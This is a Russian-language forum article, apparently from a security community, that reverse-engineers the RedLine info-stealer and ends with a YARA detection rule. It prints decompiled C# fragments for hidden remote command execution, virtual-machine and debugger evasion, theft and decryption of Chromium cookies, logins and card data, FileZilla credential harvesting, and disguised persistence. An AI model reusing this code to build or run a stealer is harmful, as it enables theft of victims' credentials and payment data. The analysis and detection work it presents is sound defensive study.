Статья Красная линия. Изучаем работу стиллера RedLine

prew.jpg

Введение
Представь свой самый обычный день, когда ты сидишь на работе в тихой и спокойной обстановке. Никаких нагрузок или других неожиданных ситуаций быть не должно. Вдруг на компьютер приходит почтовое письмо от старого знакомого. В нем немного текста и очень подозрительный файл. Конечно, по всем правилам социальной инженерии ты поверил своему другу и запустил файл на устройстве. А в конце рабочего дня тебе приходит несколько push уведомлений на телефон о входе в аккаунт. Это самая обычная ситуация для современного мира и обычно за такими деяниями стоят стиллеры - быстрые и очень скрытые вирусы. Поэтому сегодня я хочу приоткрыть завесу неизведанного и рассказать тебе как они работают на примере известной малвари RedLine.

План работы
Первым делом давай обрисуем всю картину. Сначала мы рассмотрим по стандарту статический анализ файла при помощи любимого DiE, погуляем по строкам, взглянем на энтропию и зайдем в гости к таблице импорта и экспорта. После начнем копать немного глубже и попытаемся добраться до исходного кода программы при помощи dotPeek. Ты можешь использовать его аналог dnSpy, но здесь выбор лично твой. После этого мы погуляем по коду и разберем основные функции и методы защиты приложения от взлома. Далее по традиции подведем итоги и я предоставлю тебе все программы, которые буду описывать в этой работе. Приступим.

Статический анализ
Для начала даем скормить вирус Detect It Easy и посмотрим, как он отреагирует на это.


DiE.jpg


Первое, что бросается в глаза это библиотека NET Framework версии 4.0.30319. Отталкиваясь от этого можно смело сказать, что язык программирования на котором стоит вирус это C# и в дальнейшем ожидать каких-либо сюрпризов тебе не стоит. После этого взглянем на энтропию и оценим обстановку с обфускацией файла.

entropy.jpg


Ни одна секция не имеет сжатия и должна спокойно читаться любым, удобным для тебя декомпилятором. Но не все так гладко. К сожалению строки этого вируса оказались непосильной задачей для DiE и он выдал следующий результат:

cryptostrings.jpg


На этот случай открываем наш любимый PEStudio и смотрим результат уже там. Для этого просто перенеси иконку вируса на утилиту и он откроет ее в автоматическом режиме.

strings.jpg


Первым делом бросается в глаза юзер агент и команда для уничтожения процессов. Также на строчках ниже виднеется запрос к базе данных на SQL и несколько других, более интересных строк. Чтобы найти это все и понять для чего оно используется нам стоит перейти к динамическому анализу. Перед этим по пути не забываем проверить таблицу импорта.

import.jpg


Так как таблица имеет библиотеки kernel32 и user32, то делаем вывод в пользу того, что файл ни чем не закриптован и должен спокойно открываться через dotPeek или dnSpy. Также отсюда поступает информация о том, что файл написан на NET, за это отвечает первая строка из файла mscoree.dll. Закидываем все это дело в нашу программу и продолжаем дебажить нашу малварь уже более детально.

Динамический анализ
Первым делом рекомендую обратить внимание на то, что файл уже на этапе загрузки фиксируется как RedLine. В дальнейшем я расскажу как при помощи уже известных правил Yara можно определить этот вирус. Ну а перед этим рекомендую перейти в главный модуль приложения с названием Program, находится он в отделе RedLine. Первым делом в глаза бросается ID билда, выглядит он следующим образом:

C#:
string buildId = "wwq";

Пролистываем код ниже, пропуская все циклы и флаги. После этого смотрим на импорт файлов, который говорит об использовании NET библиотек:

C#:
foreach (string file in Directory.GetFiles("C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319", strArray1[1]))  {
    if (LoadExecutor.Execute(LoadParams.Create(SystemDataCommonIntStorageg, file))) {
        flag = true;
        break;
    }
}
break;

Получение информации о процессах происходи в самом конце нашей ветки. В этом месте происходит запуск процесса и проверка его на ошибки:

C#:
case RemoteTaskAction.Cmd:
    Process.Start(new ProcessStartInfo("cmd", "/C " + task.Target) {
        RedirectStandardError = true,
        RedirectStandardOutput = true,
        UseShellExecute = false,
        CreateNoWindow = true
});

Сама малварь способна обнаруживать виртуализацию. Детектит самые известные программы, в их числе VirtualBox и VMWare. Код ты можешь найти в ветке RedLine.Logic.Other и выглядит это оно дело следующим образом:

C#:
public MachineType GetMachineType() {
    WmiProcessor wmiProcessor = this._wmiService.QueryFirst<WmiProcessor>((WmiQueryBase) new WmiProcessorQuery());
    if (wmiProcessor.Manufacturer != null) {
        if (wmiProcessor.Manufacturer.Contains("VBoxVBoxVBox"))
          return MachineType.VirtualBox;
        if (wmiProcessor.Manufacturer.Contains("VMwareVMware"))
          return MachineType.VMWare;
        if (wmiProcessor.Manufacturer.Contains("prl hyperv"))
          return MachineType.Parallels;
      }

Также из интересных моментов был обнаружен способ кражи информации из браузера Chromium. Ворует стиллер куки, данные кредитных карт и логины. Задается несколько переменных с требуемые данными, после при помощи рекурсивного сканирования вирус обнаруживает путь до всех файлов и при помощи алгоритмов дешифровки получает нужные данные, отправляя их на целевой хост. На коде все выглядит следующим образом:

C#:
browser.Name = str3;
browser.Profile = name;
browser.Cookies = (IList<Cookie>) ChromiumEngine.EnumCook(fullName).IsNull<List<Cookie>>();
browser.Credentials = (IList<LoginPair>) ChromiumEngine.GetCredentials(fullName).IsNull<List<LoginPair>>();
browser.Autofills = (IList<Autofill>) ChromiumEngine.EnumFills(fullName).IsNull<List<Autofill>>();
browser.CreditCards = (IList<CreditCard>) ChromiumEngine.EnumCC(fullName).IsNull<List<CreditCard>>();

Далее происходит сбор и расшифровка логинов и паролей, а после все подводится под такой формат:

C#:
cookie = new Cookie()
{
    Host = sqlConnection.ParseValue(rowIndex, "host_key").Trim(),
    Http = sqlConnection.ParseValue(rowIndex, "httponly") == "1",
    Path = sqlConnection.ParseValue(rowIndex, "path").Trim(),
    Secure = sqlConnection.ParseValue(rowIndex, "secure") == "1",
    Expires = sqlConnection.ParseValue(rowIndex, "expires_utc").Trim(),
    Name = sqlConnection.ParseValue(rowIndex, "name").Trim(),
    Value = ChromiumEngine.DecryptChromium(sqlConnection.ParseValue(rowIndex, "encrypted_value"), localStatePath)
};

Также если ты посмотришь немного ниже, то увидишь нечто подобное на сбор кредитных карт с устройства. Вирус собирает номер карты, год с месяцем и секретный код. Все как обычно, для доступа к данных. Код я приложил ниже:

C#:
creditCard = new CreditCard() {
    Holder = sqlConnection.ParseValue(rowIndex, "name_on_card").Trim(),
    ExpirationMonth = Convert.ToInt32(sqlConnection.ParseValue(rowIndex, "expiration_month").Trim()),
    ExpirationYear = Convert.ToInt32(sqlConnection.ParseValue(rowIndex, "expiration_year").Trim()),
    CardNumber = ChromiumEngine.DecryptChromium(sqlConnection.ParseValue(rowIndex, "card_number_encrypted"), localStatePath)
};

В качестве временного хранилища RedLine использует системную папку Roaming и Local, там вся информация собирается и после отправки удаляется, чтобы не оставлять следов в системе.

Кроме этого малварь способна красть данные для FTP подключения. Сюда входит логин, пароль и порт, а реализуется все это дело через взаимодействия с файлами и прямой попыткой подключения по заданному порту. Ниже я оставил код на примере программы FileZilla.

C#:
try    {
    string str1 = string.Format("{0}\\FileZilla\\recentservers.xml", (object) Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
    string str2 = string.Format("{0}\\FileZilla\\sitemanager.xml", (object) Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
    if (File.Exists(str1))
        connections.AddRange((IEnumerable<LoginPair>) FileZilla.ParseCredentials(str1));
    if (File.Exists(str2))
        connections.AddRange((IEnumerable<LoginPair>) FileZilla.ParseCredentials(str2));
}

Также предлагаю разобрать установку малвари на устройстве. После запуска RedLine инициализирует старт нового процесса с названием MicrosoftIIS CheckInstalledUpdater. Сам файл размещается по пути:

Код:
%USERPROFILE%\Documents\IISExpress\Config

После запуска через консоль происходит выполнения команды по завершению всех "враждебных" для вируса процессов. Также отправляет данные о времени запуска приложения (часы и минуты). Код всего этого ты можешь найти на ветке RedLine.Logic.Other с названием InstallManager. Ниже я приложил его часть для более понятного понимания работы:

C#:
private static Mutex appMutex;
public const string TaskSchedulerName = "MicrosoftIIS_CheckInstalledUpdater";
public const string InstallFileName = "MicrosoftIISAdministration_v2.exe";
public static string InstallDirectory = Environment.ExpandEnvironmentVariables("%USERPROFILE%\\Documents\\IISExpress\\Config");

public static string InstallPath => Path.Combine(InstallManager.InstallDirectory, "MicrosoftIISAdministration_v2.exe");

public static string CurrentExeFile => Assembly.GetExecutingAssembly().Location;

public static bool IsSecondCopy { get; private set; }

public static bool IsRunningFromInstallPath => string.Equals(InstallManager.InstallPath, InstallManager.CurrentExeFile, StringComparison.OrdinalIgnoreCase);

Кроме этого библиотеку RedLine.Models, которая присутствует в начале каждого кода ты можешь найти на ветке ClientSettings, здесь собирается информация о железе, включая: язык системы, модель жестких дисков, процессор, браузер, наличия FTP соединения, файлы в системе и антивирус. После этого все данные также импортируются в UserLog и отображаются на машине атакующего. Все локации, IP адреса, скриншоты и другая более детальная информация логируется в этом месте для дальнейшей отправки и выведения. Кроме этого присутствует цикл проверки всех данных и если что-то из этого списка не удалось узнать, то выводит информацию в виде неизвестных данных. Пример такого кода я оставил ниже:

C#:
finally
{
    userLog.HWID = string.IsNullOrWhiteSpace(userLog.HWID) ? "UNKNOWN" : userLog.HWID;
    userLog.IP = string.IsNullOrWhiteSpace(userLog.IP) ? "UNKNOWN" : userLog.IP;
    userLog.MonitorSize = string.IsNullOrWhiteSpace(userLog.MonitorSize) ? "UNKNOWN" : userLog.MonitorSize;
    userLog.OS = string.IsNullOrWhiteSpace(userLog.OS) ? "UNKNOWN" : userLog.OS;
    userLog.TimeZone = string.IsNullOrWhiteSpace(userLog.TimeZone) ? "UNKNOWN" : userLog.TimeZone;
    userLog.Username = string.IsNullOrWhiteSpace(userLog.Username) ? "UNKNOWN" : userLog.Username;
    userLog.Location = string.IsNullOrWhiteSpace(userLog.Location) ? "UNKNOWN" : userLog.Location;
    userLog.Country = string.IsNullOrWhiteSpace(userLog.Country) ? "UNKNOWN" : userLog.Country;
    userLog.CurrentLanguage = string.IsNullOrWhiteSpace(userLog.CurrentLanguage) ? "UNKNOWN" : userLog.CurrentLanguage;
    userLog.UserAgent = string.IsNullOrWhiteSpace(userLog.UserAgent) ? "UNKNOWN" : userLog.UserAgent;
}

Также немного дальше находится модуль защиты приложения от динамического анализа, в нем присутствует черный список программ, при запуске которых вирус просто завершает свою деятельность. Реализовано это следующим образом и по строчкам кода я думаю ты узнаешь название всех приложений:

C#:
public class ProtectionSettings
  {
    public int Check_Timeout = 1000;
    public string[] Snooper_Titles = new string[6]
    {
      "wireshark",
      "ilspy",
      "dnspy",
      "ollydbg",
      "de4dot",
      "megadumper"
    };

К счастью dnSpy также спокойно дизассемблирует этот вирус, но запускать его отказывается. Проверка этой функции происходит каждые 1000 секунд и если увеличить это число до бесконечности защита станет полностью бессильной. Кроме этого хочу обратить твое внимание на то, как малварь узнает местоположения устройства. Чтобы это выяснить переходим на ветку RedLine.Logic.Helpers и переходим в файл GeoHelper. Здесь ты увидишь еще семь интересных сайтов, которые узнают геолокацию пользователя. Первым делом создается юзер агент с браузером Firefox и после происходит обращения к сайтам и обработка ответа от них. А теперь давай я перечислю ниже все сайты, которые посещает наша малварь:
  1. ;
  2. ;
  3. ;
  4. ;
  5. ;
  6. ;
  7. ;
И вся информация с этих сайтов отображается при помощи JSON и . На коде все выглядит таким образом:

C#:
return new GeoInfo() {
    Location = jsonValue["geoplugin_city"].ToString(false) == "null" ? jsonValue["geoplugin_latitude"].ToString(false) + ", " + jsonValue["geoplugin_longitude"].ToString(false) : jsonValue["geoplugin_city"].ToString(false),
    Country = jsonValue["geoplugin_countryCode"].ToString(false),
    IP = jsonValue["geoplugin_request"].ToString(false)
};

После того, как мы разобрали большую часть кода давай вернемся к нашему статическому анализу и на его основе попробуем создать правила для языка Yara. Таким образом в дальнейшем будет легче идентифицировать вредоносное ПО по его сигнатуре и строкам.

Идентифицируем вирус
Для этого открываем наш любимый Visual Studio Code, устанавливаем дополнение и создаем новый файл с названием RedLine.yar. После этих действий давай импортируем нужные модули, которые помогут найти зацепки для идентификации. Делается это следующим образом:
Код:
import "pe"
import "hash"

Код:
rule malware_RedLine {
    meta:
        filetype = "Win32 EXE"
        md5 = "F472B4AE02E5956F4F25CCFD6ECFDA4B"
}

Скажу сразу, что в правиле для более точного определения я использовал два хэша, первый выдается из самого файла, второй является PE-заголовком. Таким образом если один из них не будет правильным, то другой окажется верным. После всех махинаций добавим чтение строк файла, здесь я выделил несколько уникальных строк для идентификации:

Код:
strings:
        $a1 = "Program" fullword ascii
        $a2 = "DecryptV10" fullword ascii
        $a3 = "<DecryptPassword>b__2_0" fullword ascii
        $a4 = "get_BuildID" fullword ascii

        $b1 = "get_Profile" fullword ascii
        $b2 = "set_Profile" fullword ascii
        $b3 = "System.IDisposable.Dispose" fullword ascii

        $c1 = "GetBlockSize" fullword ascii
        $c2 = "ReadDataEntriesFromOffsets" fullword ascii
        $c3 = "ParseRecent" fullword ascii

Если ты заметил строки, которые более точно описывают малварь, то можешь заменить их, но помни, что кодировка может отличаться и не забывай ее сверять. После этого прикладываем дополнение к нашему коду, прописываем в нем первые биты PE-файла в обратном порядке, ставим код на постоянную проверку, сверяем разрядность и хэш, а после добавляем таблицу импорта и получаем такое правило:

Код:
condition:
        1 of them
        and hash.md5(0, filesize) == "fab32798f7800119e12f0042259a34b4"
        and uint16(0) == 0x5A4D
        and pe.imports("mscoree.dll")
        and pe.machine == pe.MACHINE_32BIT

Для запуска правила открываем консоль, переходим в папку с вирусом и пишем следующую команду:

Код:
yara64.exe -r RedLine.yar C:\EXAMPLE

Скачать отладчик для этого языка ты можешь с GitHub репозитория. После запуска тебе отобразится строка детекта этого вируса, что свидетельствует о корректной работе нашего правила. Полный код я оставил для тебя в конце статьи.

Теперь, когда мы разобрались во всех приемах и правилах стоит подвести итоги проделанной работы.

Подводим итоги
Золотые времена RedLine давно прошли, но его исходный код не перестает удивлять. Сейчас к сожалению полностью рабочих сборок данной малвари ты не найдешь, поскольку некоторые параметры для работы были размещены, а вскоре удалены с просторов GitHub, ну а без них программа не сможет корректно функционировать. Начиная от статического анализа и заканчивая динамическим мы рассмотрели все примеры работы этого вируса. К сожалению особенностей в криптовании файла не было найдена и вся информация защищается стандартным AES. В остальном малварь имеет огромный функционал и различных сценариев работы, которые уменьшают шансы появления ошибок кода.
 
Последнее редактирование модератором:

Revoltage

Grey Team
07.10.2020
42
85
Годно, очень хорошая статья по реверсу(даже такой нуб, как я, с удовольствием почитал), ждём ещё!!
 
Мы в соцсетях: